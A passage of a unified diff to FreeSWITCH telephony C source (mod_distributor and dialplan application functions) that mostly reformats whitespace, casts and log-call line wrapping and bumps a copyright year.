|
||||
if (weight < 0 || weight > lp->target_weight) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Weight %d value incorrect, must be between 1 and %d\n", weight, lp->target_weight);
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Weight %d value incorrect, must be between 1 and %d\n", weight,
|
||||
lp->target_weight);
|
||||
continue;
|
||||
}
|
||||
|
||||
|
||||
switch_zmalloc(node, sizeof(*node));
|
||||
node->name = strdup(name);
|
||||
node->weight = node->cur_weight = weight;
|
||||
|
||||
|
||||
|
||||
if (np) {
|
||||
np->next = node;
|
||||
@@ -198,7 +200,7 @@ static int load_config(int reloading)
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Total weight does not add up to total weight %d\n", lp->target_weight);
|
||||
|
||||
for(np1 = lp->nodes; np1; np1 = np1->next) {
|
||||
for (np1 = lp->nodes; np1; np1 = np1->next) {
|
||||
np1->weight += lp->target_weight - ea;
|
||||
}
|
||||
|
||||
@@ -230,7 +232,7 @@ static int reset_list(struct dist_list *list)
|
||||
{
|
||||
struct dist_node *np;
|
||||
|
||||
for(np = list->nodes; np; np = np->next) {
|
||||
for (np = list->nodes; np; np = np->next) {
|
||||
np->cur_weight = np->weight;
|
||||
}
|
||||
list->last = -1;
|
||||
@@ -243,8 +245,8 @@ static struct dist_node *find_next(struct dist_list *list)
|
||||
struct dist_node *np, *match = NULL;
|
||||
int x = 0, mx = 0;
|
||||
int matches = 0, loops = 0;
|
||||
|
||||
for(;;) {
|
||||
|
||||
for (;;) {
|
||||
|
||||
if (++loops > 1000) {
|
||||
break;
|
||||
@@ -255,7 +257,7 @@ static struct dist_node *find_next(struct dist_list *list)
|
||||
list->last = -1;
|
||||
}
|
||||
match = NULL;
|
||||
for(np = list->nodes; np; np = np->next) {
|
||||
for (np = list->nodes; np; np = np->next) {
|
||||
if (np->cur_weight < list->target_weight) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s %d/%d\n", np->name, np->cur_weight, list->target_weight);
|
||||
matches++;
|
||||
@@ -274,7 +276,7 @@ static struct dist_node *find_next(struct dist_list *list)
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Choose %s\n", match->name);
|
||||
return match;
|
||||
}
|
||||
|
||||
|
||||
if (matches) {
|
||||
list->last = -1;
|
||||
} else {
|
||||
@@ -294,7 +296,7 @@ static char *dist_engine(const char *name)
|
||||
char *str = NULL;
|
||||
|
||||
switch_mutex_lock(globals.mod_lock);
|
||||
for(lp = globals.list; lp; lp = lp->next) {
|
||||
for (lp = globals.list; lp; lp = lp->next) {
|
||||
if (!strcasecmp(name, lp->name)) {
|
||||
np = find_next(lp);
|
||||
break;
|
||||
@@ -307,14 +309,14 @@ static char *dist_engine(const char *name)
|
||||
switch_mutex_unlock(globals.mod_lock);
|
||||
|
||||
return str;
|
||||
|
||||
|
||||
}
|
||||
|
||||
SWITCH_STANDARD_APP(distributor_exec)
|
||||
{
|
||||
switch_channel_t *channel = switch_core_session_get_channel(session);
|
||||
char *ret = NULL;
|
||||
|
||||
|
||||
if (zstr(data)) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "distributor requires an argument\n");
|
||||
return;
|
||||
@@ -370,11 +372,12 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_distributor_load)
|
||||
globals.pool = pool;
|
||||
|
||||
load_config(SWITCH_FALSE);
|
||||
|
||||
|
||||
|
||||
SWITCH_ADD_API(api_interface, "distributor", "Distributor API", distributor_function, "<list name>");
|
||||
SWITCH_ADD_API(api_interface, "distributor_ctl", "Distributor API", distributor_ctl_function, "[reload]");
|
||||
SWITCH_ADD_APP(app_interface, "distributor", "Distributor APP", "Distributor APP", distributor_exec, "<list name>", SAF_SUPPORT_NOMEDIA|SAF_ROUTING_EXEC);
|
||||
SWITCH_ADD_APP(app_interface, "distributor", "Distributor APP", "Distributor APP", distributor_exec, "<list name>",
|
||||
SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
|
||||
|
||||
|
||||
/* indicate that the module should continue to be loaded */
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -89,7 +89,7 @@ SWITCH_STANDARD_DIALPLAN(inline_dialplan_hunt)
|
||||
switch_caller_extension_add_application(session, extension, app, data);
|
||||
}
|
||||
|
||||
caller_profile->destination_number = (char *)caller_profile->rdnis;
|
||||
caller_profile->destination_number = (char *) caller_profile->rdnis;
|
||||
caller_profile->rdnis = SWITCH_BLANK_STRING;
|
||||
|
||||
return extension;
|
||||
@@ -177,7 +177,8 @@ SWITCH_STANDARD_APP(exe_function)
|
||||
SWITCH_STANDARD_APP(mkdir_function)
|
||||
{
|
||||
switch_dir_make_recursive(data, SWITCH_DEFAULT_DIR_PERMS, switch_core_session_get_pool(session));
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s MKDIR: %s\n", switch_channel_get_name(switch_core_session_get_channel(session)), data);
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s MKDIR: %s\n",
|
||||
switch_channel_get_name(switch_core_session_get_channel(session)), data);
|
||||
}
|
||||
|
||||
#define SOFT_HOLD_SYNTAX "<unhold key> [<moh_a>] [<moh_b>]"
|
||||
@@ -276,7 +277,7 @@ SWITCH_STANDARD_APP(dtmf_bind_function)
|
||||
if (strchr(argv[2], '1')) {
|
||||
bind_flags |= SBF_ONCE;
|
||||
}
|
||||
|
||||
|
||||
if (switch_ivr_bind_dtmf_meta_session(session, kval, bind_flags, argv[3]) != SWITCH_STATUS_SUCCESS) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Bind Error!\n");
|
||||
}
|
||||
@@ -375,7 +376,7 @@ SWITCH_STANDARD_APP(eavesdrop_function)
|
||||
if (e_data.total) {
|
||||
for (x = 0; x < e_data.total && switch_channel_ready(channel); x++) {
|
||||
/* If we have a group and 1000 concurrent calls, we will flood the logs. This check avoids this */
|
||||
if ( !require_group )
|
||||
if (!require_group)
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Spy: %s\n", e_data.uuid_list[x]);
|
||||
if ((file = switch_channel_get_variable(channel, "eavesdrop_indicate_new"))) {
|
||||
switch_ivr_play_file(session, NULL, file, NULL);
|
||||
@@ -437,9 +438,9 @@ SWITCH_STANDARD_APP(set_audio_level_function)
|
||||
|
||||
mydata = switch_core_session_strdup(session, data);
|
||||
argc = switch_split(mydata, ' ', argv);
|
||||
|
||||
|
||||
if (argc != 2) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s Error. USAGE: %s\n",
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s Error. USAGE: %s\n",
|
||||
switch_core_session_get_name(session), SET_AUDIO_LEVEL_SYNTAX);
|
||||
return;
|
||||
}
|
||||
@@ -447,8 +448,8 @@ SWITCH_STANDARD_APP(set_audio_level_function)
|
||||
level = atoi(argv[1]);
|
||||
|
||||
switch_ivr_session_audio(session, "level", argv[0], level);
|
||||
|
||||
|
||||
|
||||
|
||||
}
|
||||
|
||||
#define SET_MUTE_SYNTAX "[read|write] [[true|cn level]|false]"
|
||||
@@ -461,19 +462,19 @@ SWITCH_STANDARD_APP(set_mute_function)
|
||||
|
||||
mydata = switch_core_session_strdup(session, data);
|
||||
argc = switch_split(mydata, ' ', argv);
|
||||
|
||||
|
||||
if (argc != 2) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s Error. USAGE: %s\n",
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s Error. USAGE: %s\n",
|
||||
switch_core_session_get_name(session), SET_MUTE_SYNTAX);
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
if ((level = atoi(argv[1])) <= 0) {
|
||||
level = switch_true(argv[1]);
|
||||
}
|
||||
|
||||
|
||||
switch_ivr_session_audio(session, "mute", argv[0], level);
|
||||
|
||||
|
||||
}
|
||||
|
||||
|
||||
@@ -731,7 +732,7 @@ SWITCH_STANDARD_APP(presence_function)
|
||||
return;
|
||||
}
|
||||
|
||||
switch_channel_presence(channel, argv[0], argv[1], argv[2]);
|
||||
switch_channel_presence(channel, argv[0], argv[1], argv[2]);
|
||||
}
|
||||
|
||||
SWITCH_STANDARD_APP(pre_answer_function)
|
||||
@@ -787,7 +788,7 @@ SWITCH_STANDARD_APP(deflect_function)
|
||||
SWITCH_STANDARD_APP(set_function)
|
||||
{
|
||||
char *var, *val = NULL;
|
||||
|
||||
|
||||
if (zstr(data)) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "No variable name specified.\n");
|
||||
} else {
|
||||
@@ -808,7 +809,8 @@ SWITCH_STANDARD_APP(set_function)
|
||||
expanded = switch_channel_expand_variables(channel, val);
|
||||
}
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s SET [%s]=[%s]\n", switch_channel_get_name(channel), var, expanded ? expanded : "UNDEF");
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s SET [%s]=[%s]\n", switch_channel_get_name(channel), var,
|
||||
expanded ? expanded : "UNDEF");
|
||||
switch_channel_set_variable_var_check(channel, var, expanded, SWITCH_FALSE);
|
||||
|
||||
if (expanded && expanded != val) {
|
||||
@@ -857,7 +859,7 @@ SWITCH_STANDARD_APP(set_profile_var_function)
|
||||
val = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
switch_channel_set_profile_var(switch_core_session_get_channel(session), name, val);
|
||||
}
|
||||
}
|
||||
@@ -891,8 +893,8 @@ SWITCH_STANDARD_APP(export_function)
|
||||
}
|
||||
}
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "EXPORT %s[%s]=[%s]\n", local ? "" : "(REMOTE ONLY) ", var_name ? var_name : "",
|
||||
val ? val : "UNDEF");
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "EXPORT %s[%s]=[%s]\n", local ? "" : "(REMOTE ONLY) ",
|
||||
var_name ? var_name : "", val ? val : "UNDEF");
|
||||
switch_channel_set_variable(channel, var, val);
|
||||
|
||||
if (var && val) {
|
||||
@@ -999,11 +1001,11 @@ SWITCH_STANDARD_APP(event_function)
|
||||
while (*p == ' ')
|
||||
*p++ = '\0';
|
||||
val = p;
|
||||
if (!strcasecmp(var,"Event-Name")) {
|
||||
if (!strcasecmp(var, "Event-Name")) {
|
||||
switch_name_event(val, &event->event_id);
|
||||
switch_event_del_header(event, var);
|
||||
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, var, val);
|
||||
} else if (!strcasecmp(var,"Event-Subclass")) {
|
||||
} else if (!strcasecmp(var, "Event-Subclass")) {
|
||||
size_t len = strlen(val) + 1;
|
||||
void *new = malloc(len);
|
||||
switch_assert(new);
|
||||
@@ -1043,7 +1045,8 @@ SWITCH_STANDARD_APP(privacy_function)
|
||||
switch_clear_flag(caller_profile, SWITCH_CPF_HIDE_NAME);
|
||||
switch_clear_flag(caller_profile, SWITCH_CPF_HIDE_NUMBER);
|
||||
} else {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "INVALID privacy mode specified. Use a valid mode [no|yes|name|full|number].\n");
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR,
|
||||
"INVALID privacy mode specified. Use a valid mode [no|yes|name|full|number].\n");
|
||||
}
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Set Privacy to %s [%d]\n", data, caller_profile->flags);
|
||||
}
|
||||
@@ -1112,7 +1115,7 @@ SWITCH_STANDARD_API(strftime_api_function)
|
||||
SWITCH_STANDARD_API(presence_api_function)
|
||||
{
|
||||
switch_event_t *event;
|
||||
char *lbuf = NULL , *argv[4];
|
||||
char *lbuf = NULL, *argv[4];
|
||||
int argc = 0;
|
||||
switch_event_types_t type = SWITCH_EVENT_PRESENCE_IN;
|
||||
int need = 4;
|
||||
@@ -1158,7 +1161,7 @@ SWITCH_STANDARD_API(presence_api_function)
|
||||
switch_safe_free(lbuf);
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
|
||||
error:
|
||||
error:
|
||||
|
||||
switch_safe_free(lbuf);
|
||||
stream->write_function(stream, "Invalid: presence %s", PRESENCE_USAGE);
|
||||
@@ -1173,8 +1176,7 @@ SWITCH_STANDARD_API(chat_api_function)
|
||||
if (!zstr(cmd) && (lbuf = strdup(cmd))
|
||||
&& (argc = switch_separate_string(lbuf, '|', argv, (sizeof(argv) / sizeof(argv[0])))) >= 4) {
|
||||
|
||||
if (switch_core_chat_send(argv[0], "dp", argv[1], argv[2], "", argv[3],
|
||||
!zstr(argv[4]) ? argv[4] : NULL , "") == SWITCH_STATUS_SUCCESS) {
|
||||
if (switch_core_chat_send(argv[0], "dp", argv[1], argv[2], "", argv[3], !zstr(argv[4]) ? argv[4] : NULL, "") == SWITCH_STATUS_SUCCESS) {
|
||||
stream->write_function(stream, "Sent");
|
||||
} else {
|
||||
stream->write_function(stream, "Error! Message Not Sent");
|
||||
@@ -1206,7 +1208,7 @@ SWITCH_STANDARD_APP(ivr_application_function)
|
||||
{
|
||||
switch_channel_t *channel = switch_core_session_get_channel(session);
|
||||
switch_event_t *params;
|
||||
const char *name = (const char*)data;
|
||||
const char *name = (const char *) data;
|
||||
|
||||
if (channel) {
|
||||
switch_xml_t cxml = NULL, cfg = NULL, xml_menus = NULL, xml_menu = NULL;
|
||||
@@ -1234,7 +1236,7 @@ SWITCH_STANDARD_APP(ivr_application_function)
|
||||
&& switch_ivr_menu_stack_xml_build(xml_ctx, &menu_stack, xml_menus, xml_menu) == SWITCH_STATUS_SUCCESS) {
|
||||
switch_xml_free(cxml);
|
||||
cxml = NULL;
|
||||
switch_ivr_menu_execute(session, menu_stack, (char*)name, NULL);
|
||||
switch_ivr_menu_execute(session, menu_stack, (char *) name, NULL);
|
||||
switch_ivr_menu_stack_free(menu_stack);
|
||||
} else {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Unable to create menu\n");
|
||||
@@ -1404,7 +1406,7 @@ static switch_status_t on_dtmf(switch_core_session_t *session, void *input, swit
|
||||
for (p = terminators; p && *p; p++) {
|
||||
if (*p == dtmf->digit) {
|
||||
switch_snprintf(sbuf, sizeof(sbuf), "%c", *p);
|
||||
switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, sbuf );
|
||||
switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, sbuf);
|
||||
return SWITCH_STATUS_BREAK;
|
||||
}
|
||||
}
|
||||
@@ -1432,7 +1434,7 @@ SWITCH_STANDARD_APP(sleep_function)
|
||||
args.input_callback = on_dtmf;
|
||||
args.buf = buf;
|
||||
args.buflen = sizeof(buf);
|
||||
switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "" );
|
||||
switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "");
|
||||
}
|
||||
|
||||
switch_ivr_sleep(session, ms, SWITCH_TRUE, &args);
|
||||
@@ -1503,7 +1505,7 @@ SWITCH_STANDARD_APP(speak_function)
|
||||
args.buf = buf;
|
||||
args.buflen = sizeof(buf);
|
||||
|
||||
switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "" );
|
||||
switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "");
|
||||
|
||||
switch_ivr_speak_text(session, engine, voice, text, &args);
|
||||
}
|
||||
@@ -1582,7 +1584,8 @@ static switch_status_t hanguphook(switch_core_session_t *session)
|
||||
switch_stream_handle_t stream = { 0 };
|
||||
SWITCH_STANDARD_STREAM(stream);
|
||||
switch_api_execute("uuid_bridge", id, NULL, &stream);
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "\nHangup Command uuid_bridge(%s):\n%s\n", id, switch_str_nil((char *) stream.data));
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "\nHangup Command uuid_bridge(%s):\n%s\n", id,
|
||||
switch_str_nil((char *) stream.data));
|
||||
switch_safe_free(stream.data);
|
||||
}
|
||||
|
||||
@@ -1607,7 +1610,7 @@ SWITCH_STANDARD_APP(att_xfer_function)
|
||||
|
||||
switch_channel_set_variable(channel, SWITCH_SOFT_HOLDING_UUID_VARIABLE, bond);
|
||||
|
||||
if (switch_ivr_originate(session, &peer_session, &cause, data, 0, NULL, NULL, NULL, NULL, NULL, SOF_NONE, NULL)
|
||||
if (switch_ivr_originate(session, &peer_session, &cause, data, 0, NULL, NULL, NULL, NULL, NULL, SOF_NONE, NULL)
|
||||
!= SWITCH_STATUS_SUCCESS || !peer_session) {
|
||||
goto end;
|
||||
}
|
||||
@@ -1640,13 +1643,13 @@ SWITCH_STANDARD_APP(att_xfer_function)
|
||||
switch_channel_t *b_channel = switch_core_session_get_channel(b_session);
|
||||
switch_snprintf(buf, sizeof(buf), "%s %s", switch_core_session_get_uuid(peer_session), switch_core_session_get_uuid(session));
|
||||
switch_channel_set_variable(b_channel, "xfer_uuids", buf);
|
||||
|
||||
|
||||
switch_snprintf(buf, sizeof(buf), "%s %s", switch_core_session_get_uuid(peer_session), bond);
|
||||
switch_channel_set_variable(channel, "xfer_uuids", buf);
|
||||
|
||||
|
||||
switch_core_event_hook_add_state_change(session, hanguphook);
|
||||
switch_core_event_hook_add_state_change(b_session, hanguphook);
|
||||
|
||||
|
||||
switch_core_session_rwunlock(b_session);
|
||||
}
|
||||
}
|
||||
@@ -1654,7 +1657,7 @@ SWITCH_STANDARD_APP(att_xfer_function)
|
||||
if (!br) {
|
||||
switch_ivr_uuid_bridge(switch_core_session_get_uuid(session), bond);
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
switch_core_session_rwunlock(peer_session);
|
||||
@@ -1813,11 +1816,11 @@ SWITCH_STANDARD_APP(say_function)
|
||||
|
||||
if (!zstr(data) && (lbuf = switch_core_session_strdup(session, data))
|
||||
&& (argc = switch_separate_string(lbuf, ' ', argv, (sizeof(argv) / sizeof(argv[0])))) == 4) {
|
||||
|
||||
|
||||
args.input_callback = on_dtmf;
|
||||
|
||||
switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "" );
|
||||
|
||||
|
||||
switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "");
|
||||
|
||||
switch_ivr_say(session, argv[3], argv[0], argv[1], argv[2], &args);
|
||||
} else {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Usage: %s\n", SAY_SYNTAX);
|
||||
@@ -1841,14 +1844,15 @@ SWITCH_STANDARD_APP(phrase_function)
|
||||
if ((mdata = strchr(macro, ','))) {
|
||||
*mdata++ = '\0';
|
||||
}
|
||||
|
||||
|
||||
lang = switch_channel_get_variable(channel, "language");
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Execute %s(%s) lang %s\n", macro, switch_str_nil(mdata), switch_str_nil(lang));
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Execute %s(%s) lang %s\n", macro, switch_str_nil(mdata),
|
||||
switch_str_nil(lang));
|
||||
|
||||
args.input_callback = on_dtmf;
|
||||
|
||||
switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "" );
|
||||
|
||||
switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "");
|
||||
|
||||
status = switch_ivr_phrase_macro(session, macro, mdata, lang, &args);
|
||||
} else {
|
||||
@@ -1878,10 +1882,10 @@ SWITCH_STANDARD_APP(playback_function)
|
||||
switch_file_handle_t fh = { 0 };
|
||||
char *p;
|
||||
const char *file = NULL;
|
||||
|
||||
|
||||
if (data) {
|
||||
file = switch_core_session_strdup(session, data);
|
||||
if ((p = strchr(file, '@')) && *(p+1) == '@') {
|
||||
if ((p = strchr(file, '@')) && *(p + 1) == '@') {
|
||||
*p = '\0';
|
||||
p += 2;
|
||||
if (p && *p) {
|
||||
@@ -1894,7 +1898,7 @@ SWITCH_STANDARD_APP(playback_function)
|
||||
|
||||
args.input_callback = on_dtmf;
|
||||
|
||||
switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "" );
|
||||
switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "");
|
||||
|
||||
status = switch_ivr_play_file(session, &fh, file, &args);
|
||||
|
||||
@@ -1920,8 +1924,8 @@ SWITCH_STANDARD_APP(endless_playback_function)
|
||||
switch_channel_t *channel = switch_core_session_get_channel(session);
|
||||
switch_status_t status = SWITCH_STATUS_SUCCESS;
|
||||
const char *file = data;
|
||||
|
||||
while(switch_channel_ready(channel)) {
|
||||
|
||||
while (switch_channel_ready(channel)) {
|
||||
status = switch_ivr_play_file(session, NULL, file, NULL);
|
||||
|
||||
if (status != SWITCH_STATUS_SUCCESS && status != SWITCH_STATUS_BREAK) {
|
||||
@@ -1968,7 +1972,7 @@ SWITCH_STANDARD_APP(gentones_function)
|
||||
|
||||
args.input_callback = on_dtmf;
|
||||
|
||||
switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "" );
|
||||
switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "");
|
||||
|
||||
switch_ivr_gentones(session, tone_script, loops, &args);
|
||||
}
|
||||
@@ -2060,7 +2064,7 @@ SWITCH_STANDARD_APP(record_function)
|
||||
|
||||
args.input_callback = on_dtmf;
|
||||
|
||||
switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "" );
|
||||
switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "");
|
||||
|
||||
status = switch_ivr_record_file(session, &fh, path, &args, limit);
|
||||
|
||||
@@ -2071,7 +2075,7 @@ SWITCH_STANDARD_APP(record_function)
|
||||
|
||||
SWITCH_STANDARD_APP(preprocess_session_function)
|
||||
{
|
||||
switch_ivr_preprocess_session(session, (char *)data);
|
||||
switch_ivr_preprocess_session(session, (char *) data);
|
||||
}
|
||||
|
||||
SWITCH_STANDARD_APP(record_session_function)
|
||||
@@ -2089,7 +2093,7 @@ SWITCH_STANDARD_APP(record_session_function)
|
||||
/* Search for a space then a plus followed by only numbers at the end of the path,
|
||||
if found trim any spaces to the left/right of the plus use the left side as the
|
||||
path and right side as a time limit on the recording
|
||||
*/
|
||||
*/
|
||||
|
||||
/* if we find a + and the character before it is a space */
|
||||
if ((path_end = strrchr(path, '+')) && path_end > path && *(path_end - 1) == ' ') {
|
||||
@@ -2102,7 +2106,7 @@ SWITCH_STANDARD_APP(record_session_function)
|
||||
path_end--;
|
||||
|
||||
/* trim spaces to the left of the plus */
|
||||
while(path_end > path && *path_end == ' ') {
|
||||
while (path_end > path && *path_end == ' ') {
|
||||
path_end--;
|
||||
}
|
||||
|
||||
@@ -2165,15 +2169,15 @@ static void *SWITCH_THREAD_FUNC camp_music_thread(switch_thread_t *thread, void
|
||||
args.input_callback = camp_fire;
|
||||
args.buf = dbuf;
|
||||
args.buflen = sizeof(dbuf);
|
||||
|
||||
|
||||
switch_core_session_read_lock(session);
|
||||
|
||||
/* don't set this to a local_stream:// or you will not be happy */
|
||||
if ((greet = switch_channel_get_variable(channel, "campon_announce_sound"))) {
|
||||
status = switch_ivr_play_file(session, NULL, greet, &args);
|
||||
}
|
||||
|
||||
while(stake->running && switch_channel_ready(channel)) {
|
||||
|
||||
while (stake->running && switch_channel_ready(channel)) {
|
||||
if (status != SWITCH_STATUS_BREAK) {
|
||||
if (!strcasecmp(moh, "silence")) {
|
||||
status = switch_ivr_collect_digits_callback(session, &args, 0, 0);
|
||||
@@ -2207,7 +2211,7 @@ SWITCH_STANDARD_APP(audio_bridge_function)
|
||||
switch_threadattr_t *thd_attr = NULL;
|
||||
char *camp_data = NULL;
|
||||
switch_status_t status;
|
||||
|
||||
|
||||
if (zstr(data)) {
|
||||
return;
|
||||
}
|
||||
@@ -2218,7 +2222,7 @@ SWITCH_STANDARD_APP(audio_bridge_function)
|
||||
if ((v_campon = switch_channel_get_variable(caller_channel, "campon")) && switch_true(v_campon)) {
|
||||
const char *cid_name = NULL;
|
||||
const char *cid_number = NULL;
|
||||
|
||||
|
||||
if (!(cid_name = switch_channel_get_variable(caller_channel, "effective_caller_id_name"))) {
|
||||
cid_name = switch_channel_get_variable(caller_channel, "caller_id_name");
|
||||
}
|
||||
@@ -2239,7 +2243,7 @@ SWITCH_STANDARD_APP(audio_bridge_function)
|
||||
v_campon_timeout = switch_channel_get_variable(caller_channel, "campon_timeout");
|
||||
v_campon_sleep = switch_channel_get_variable(caller_channel, "campon_sleep");
|
||||
v_campon_fallback_exten = switch_channel_get_variable(caller_channel, "campon_fallback_exten");
|
||||
|
||||
|
||||
if (v_campon_retries) {
|
||||
if ((tmp = atoi(v_campon_retries)) > 0) {
|
||||
campon_retries = tmp;
|
||||
@@ -2262,10 +2266,10 @@ SWITCH_STANDARD_APP(audio_bridge_function)
|
||||
camping = 1;
|
||||
|
||||
if (cid_name && cid_number) {
|
||||
camp_data = switch_core_session_sprintf(session, "{origination_caller_id_name='%s',origination_caller_id_number='%s'}%s",
|
||||
camp_data = switch_core_session_sprintf(session, "{origination_caller_id_name='%s',origination_caller_id_number='%s'}%s",
|
||||
cid_name, cid_number, data);
|
||||
} else {
|
||||
camp_data = (char *)data;
|
||||
camp_data = (char *) data;
|
||||
}
|
||||
|
||||
if (!(moh = switch_channel_get_variable(caller_channel, "hold_music"))) {
|
||||
@@ -2275,22 +2279,22 @@ SWITCH_STANDARD_APP(audio_bridge_function)
|
||||
do {
|
||||
fail = 0;
|
||||
status = switch_ivr_originate(NULL, &peer_session, &cause, camp_data, campon_timeout, NULL, NULL, NULL, NULL, NULL, SOF_NONE, NULL);
|
||||
|
||||
|
||||
if (!switch_channel_ready(caller_channel)) {
|
||||
fail = 1;
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
if (status == SWITCH_STATUS_SUCCESS) {
|
||||
camping = 0;
|
||||
break;
|
||||
} else {
|
||||
fail = 1;
|
||||
}
|
||||
|
||||
|
||||
if (camping) {
|
||||
|
||||
if (!thread_started && fail && moh && !switch_channel_test_flag(caller_channel, CF_PROXY_MODE) &&
|
||||
|
||||
if (!thread_started && fail && moh && !switch_channel_test_flag(caller_channel, CF_PROXY_MODE) &&
|
||||
!switch_channel_test_flag(caller_channel, CF_PROXY_MEDIA) &&
|
||||
!switch_true(switch_channel_get_variable(caller_channel, "bypass_media"))) {
|
||||
switch_threadattr_create(&thd_attr, switch_core_session_get_pool(session));
|
||||
@@ -2311,15 +2315,15 @@ SWITCH_STANDARD_APP(audio_bridge_function)
|
||||
|
||||
if (fail) {
|
||||
int64_t wait = campon_sleep * 1000000;
|
||||
|
||||
while(stake.running && wait > 0 && switch_channel_ready(caller_channel)) {
|
||||
|
||||
while (stake.running && wait > 0 && switch_channel_ready(caller_channel)) {
|
||||
switch_yield(100000);
|
||||
wait -= 100000;
|
||||
}
|
||||
}
|
||||
}
|
||||
} while (camping && switch_channel_ready(caller_channel));
|
||||
|
||||
|
||||
if (thread) {
|
||||
stake.running = 0;
|
||||
switch_channel_set_flag(caller_channel, CF_NOT_READY);
|
||||
@@ -2327,17 +2331,18 @@ SWITCH_STANDARD_APP(audio_bridge_function)
|
||||
}
|
||||
|
||||
switch_channel_clear_flag(caller_channel, CF_NOT_READY);
|
||||
|
||||
|
||||
if (stake.do_xfer && !zstr(v_campon_fallback_exten)) {
|
||||
switch_ivr_session_transfer(session,
|
||||
v_campon_fallback_exten,
|
||||
switch_ivr_session_transfer(session,
|
||||
v_campon_fallback_exten,
|
||||
switch_channel_get_variable(caller_channel, "campon_fallback_dialplan"),
|
||||
switch_channel_get_variable(caller_channel, "campon_fallback_context"));
|
||||
return;
|
||||
}
|
||||
|
||||
} else {
|
||||
if ((status = switch_ivr_originate(session, &peer_session, &cause, data, 0, NULL, NULL, NULL, NULL, NULL, SOF_NONE, NULL)) != SWITCH_STATUS_SUCCESS) {
|
||||
if ((status =
|
||||
switch_ivr_originate(session, &peer_session, &cause, data, 0, NULL, NULL, NULL, NULL, NULL, SOF_NONE, NULL)) != SWITCH_STATUS_SUCCESS) {
|
||||
fail = 1;
|
||||
}
|
||||
}
|
||||
@@ -2350,23 +2355,23 @@ SWITCH_STANDARD_APP(audio_bridge_function)
|
||||
'true' to continue on all failures.
|
